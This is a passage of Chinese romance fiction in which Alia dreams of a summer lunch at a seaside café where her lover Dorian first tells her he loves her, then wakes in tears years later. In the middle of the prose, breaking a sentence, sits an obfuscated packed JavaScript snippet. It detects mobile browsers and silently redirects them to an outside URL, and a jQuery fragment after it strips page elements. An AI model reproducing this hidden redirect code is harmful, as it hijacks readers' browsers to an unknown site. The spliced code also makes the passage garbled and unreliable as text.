日光带来的轻微灼烧感由爽利的海风缓和,途经的每家店铺招牌、每座小教堂的门楣都因为眼熟而亲切。那可能是第一次,阿利雅对七月的太阳生不出恶感。 她沿着人行道一直走,直到抵达商业街最西端的咖啡店。 白底招牌上用简单质朴的棕色印刷体写着店名Le Balcon,得名于二楼的宽敞露台。 刚过中午用餐高峰,店外的三张桌子都有客,底楼店内的座位也满了大半。 隔着沿街玻璃,阿利雅一眼就看到了多里安。 他站在咖啡柜台后,俯身把一杯浓缩咖啡搁到餐盘上,正抬头招呼负责接待客人的同事,却有如心电感应,突然侧头朝店外看来,与她四目相对。 笑意倏地点亮他的眼睛,阿利雅不由也笑起来。 多里安每周在‘露台’工作六天,全都是七点开始的早班,轮班时长六小时。 “露台上还有空位吗?”她步入店内,把太阳镜向上推到发间,以熟客的口吻问。 “当然有。”多里安冲柜台后的另一位咖啡师看去。 对方会意地点头,向阿利雅带了点揶揄地眨眼:“有了你,我再也不用确认时间了。你一过来,我就知道已经下午一点了。” 阿利雅上楼时迎面碰到咖啡店店主。因为她基本一天不落地来接多里安,她在老板那里也混了个脸熟。 “你来得正是时候,楼上最好的座位刚刚空出来。” 她道谢,又和老板又闲聊了几句天气和周末计划,这才上楼。 露台边缘视野最好的那桌果然还空着,她钻入遮阳伞下,从草编包里摸出今天刚买的旧书,某本大名鼎鼎的经典中篇小说,出身贫寒的富翁试图用财富重新点燃旧爱,最后却幻灭的悲剧故事。 没翻几页,多里安的声音就在她头顶响起: “您的今日套餐,女士。” 阿利雅笑着抬起头。多里安脱掉了灰色咖啡师围裙,又临时充当起了服务生,在桌上摆开午市套餐的餐点。 “今天的主菜是培根奶油咸派,配油醋汁色拉和橘子慕斯。” 除此以外还有一份员工餐,火腿奶酪三明治配蔬菜汤。 阿利雅没立刻让多里安在对面坐下。她搭住他的手臂,指尖有如寻找他挽起的衬衫袖子,贴着皮肤向上走了几寸。 不需要她再做更多,多里安就自然而然地俯身,和她交换一个浅尝辄止的吻作为问候。 “今天过得怎么样?”他温柔的声调让这句话听上去更像是情话。 “没什么特别的,”她和他碰了碰鼻尖,“毕竟我的今天现在才正式开始。” 多里安怔了一下。如果这里不是公众场合兼工作地点,他看上去很想立刻再亲她,比刚才更深入、更加热情地。 他只能深深地吸了口气。 像在克制自己,却又如用嗅觉暂时代替别的感官,填补对她的渴望。 “你今天真好闻,换了香水?”他低声问,眼睛含着有些不怀好意的笑意。 阿利雅推了他一把:“昨天在二手店淘的。” “下次应该让你帮我也挑一瓶。”多里安在小圆桌对面坐下,顺手帮她倒了杯水。 “那你可以期待一下。” 和中意的对象毫无意义地闲谈也很愉快。但如果事后仔细回忆,却又往往记不清楚到底聊了什么。模糊掉琐碎对话的是一种切实的、让灵魂仿佛也饱足的快乐。 那天午餐时和多里安究竟说了什么,套餐的味道如何,便是这么暧昧不明,却又余韵格外清晰的记忆。 但其间的细节本来也不重要,因为现在是梦中的重演。 前一秒餐盘里的咸派还没动,下一秒,甜点也已经分着吃完。 和多里安坐在可以望见碧蓝大海的露台边角,偶尔地交谈几句,更多时间保持无需刻意维系对话的舒适沉默,餐后的小小一杯清咖啡可以喝很久很久。 就好像这样的下午有无限绵长的时间可以挥霍。 而那个夏天有许多个这样的午后。 但是这一天的午后两点是特殊的。 距离下午的电影开场还早,阿利雅不太专心地翻着书页,并不是手中的中篇故事不够吸引人,而是多里安的目光已经在她身上停留了至少十分钟。 她怀疑他有意捣乱,搅得她无法认真阅读——这家伙时不时会幼稚病大爆发,整出各种稀奇古怪的花样吸引她的注意力。 所以阿利雅努力忍耐,佯装没有察觉他的视线。 毕竟让多里安憋了半天的幼稚大计划落空也是很好玩的。 然而今天的多里安格外有耐性。阿利雅终于忍不住抬头,讶然发现他居然在盯着她出神,灰眼珠快速小幅移动着,昭示脑海之中有什么想法正在全速暴走。 她疑惑地偏了偏头,让自己的脸和对方的视线错开。 注视的焦点移动,多里安回过神来,快速眨眼,目光飞向阿利雅又收回,有点愣愣的。像在回味一个让他惊异的白日梦。 “怎么了?”阿利雅也被带得惊疑不定起来,略微倾身按住他搭在桌面的右手,带有安抚意味地缓慢摩挲。 “不,我没事,”多里安手腕一翻,亲昵地揉捏着她的五指,“我只是……” 他的目光重新落定到她的脸上。 茫然逐渐从他的眉眼间、声音里消失了,剩下的只有纯粹的惊叹: “我只是突然意识到,我好像爱上你了。” 下方街上的车辆驰过的声音,咖啡馆厨房里偶尔响起的吆喝,海鸥的嘶叫,甚至海浪为这座小城一刻不停息地制造的背景声,在那一刻全都按下消音按钮。 阿利雅呆呆地看着多里安,所有情绪仿佛都被那庄重的词语击碎,脸上只剩下空白。 在亲吻后自我介绍,在知道彼此喜欢的颜色之前,就认识彼此卧室床单的颜色,进展飞快的夏日邂逅是愉快的轻浮; 完全回避思考两人份的将来,假装某一场筹备中的婚礼不存在,是狂妄,无根据地坚信到时候这些无解的难题总会有办法解决; 疑惑对方对待这段关系比自己少一分认真,即便如此,仍然不讲道理来袭的独占欲,还有会因为一个眼神、一个触碰点燃失控的欲望,全都让混乱更加混乱,随时可能爆燃。 而‘爱’,这被滥用到陈腐的、却又仍旧保有不可思议魔力的词语,给予轻浮重量,让狂妄有所凭依,在混乱中降下界线和秩序。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379269|184066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以诗人说爱无中生有,让矛盾成立。 ——沉重的轻浮,严肃的狂妄,整齐的混乱。* 他可能爱她。 这个夏天绝对没可能拥有后续。 两个事实并列,阿利雅的思考几近瘫痪。夏日必然终结这件事原本和日升月落同样理所当然,却第一次让她恐慌到无法呼吸。 突如其来的恐惧感太过庞大,她根本无从辨认,那些被压碎的情绪里是否有惊喜快乐。 而与此同时,她知道时间在一秒一秒地流逝,她在沉默,而沉默是对告白最糟糕的回应。 孱弱的希望在多里安的眼睛里闪烁,他抿了抿嘴唇,努力用玩笑打破令人不安的沉默: “别的回答都可以,我只请求你别说谢谢,真的。” “不……” 多里安因为这一个单词骤然间面色苍白。 阿利雅抽了口气,急促地更正:“我的意思是,我不会说谢谢的,我没准备这么答复。” 他又能呼吸了,但坐姿仍然僵硬。咖啡店精挑细选的椅子突然变得极度不舒服,他随时会忍受不了跳起来。 “我只是太震惊了……”她喃喃,“我——” 她的声音断了半拍,因为多里安突然倾身越过小桌,单手托住了她的脸。 拇指指腹擦过她的脸颊,抹开湿漉漉的触感。 阿利雅这才意识到,大滴大滴的滚烫水珠正不受控地从眼眶滚落脸颊。而她根本不知道,自己是从哪一刻开始有泪意。 多里安肉眼可见地心烦意乱。他试图给她擦眼泪,却明显缺乏经验,又不敢用力,手指不知道该往哪里放。 “我没打算催逼你,你现在可以不给我答复。”他这么说着垂下眼睫,没能掩饰住语气中的绝望。表白把对方吓得哭出来,这好像只能理解为被拒绝。 他什么都不知道,所以完全不明白。 这个念头凭空冒出来,让阿利雅打了个寒颤。 他不明白。不明白为什么她虽然—— 就是那一刻,阿利雅意识到她好像也爱他。 “多里安。”她轻声叫他。 他抬眸看过来,不安的光在瞳仁里动摇。 “我——”她只说出第一个词语,他就读懂了后半句,那个他小心翼翼期待着的答案。 她永远不会忘记他那一刻的神情。 也是在这个地方,阿利雅从旧梦中惊醒。 别墅客房的窗帘遮光能力一流,睁开眼,她只是从梦里跌回另一团清醒的黑暗之中。如果不是隐隐的海潮声,她都要怀疑是否接着在做新的噩梦。 阿利雅仰卧着,一动不动。 而后,她突然用小臂盖住双眼,小声地痛哭起来。 亨利死后,甚至于说在那之前,她就一直没有哭过。 突如其来的泪水并非为了哀悼灾难性收场的那个夏天,与亨利、与他和他的遗产带来的所有麻烦无关,也不因为多里安时至今日依然怨恨她而流。 她只是纯粹地因为一个简单的事实感到悲伤,伤心至极: 那个时候,哪怕是惊惶、苦恼、慌乱到突然哭出来的时候,她其实也很幸福。 她原来也幸福过。 幸福这把温暖的枪,在枪管已然冷却的五年后,射出一发子弹击中她。*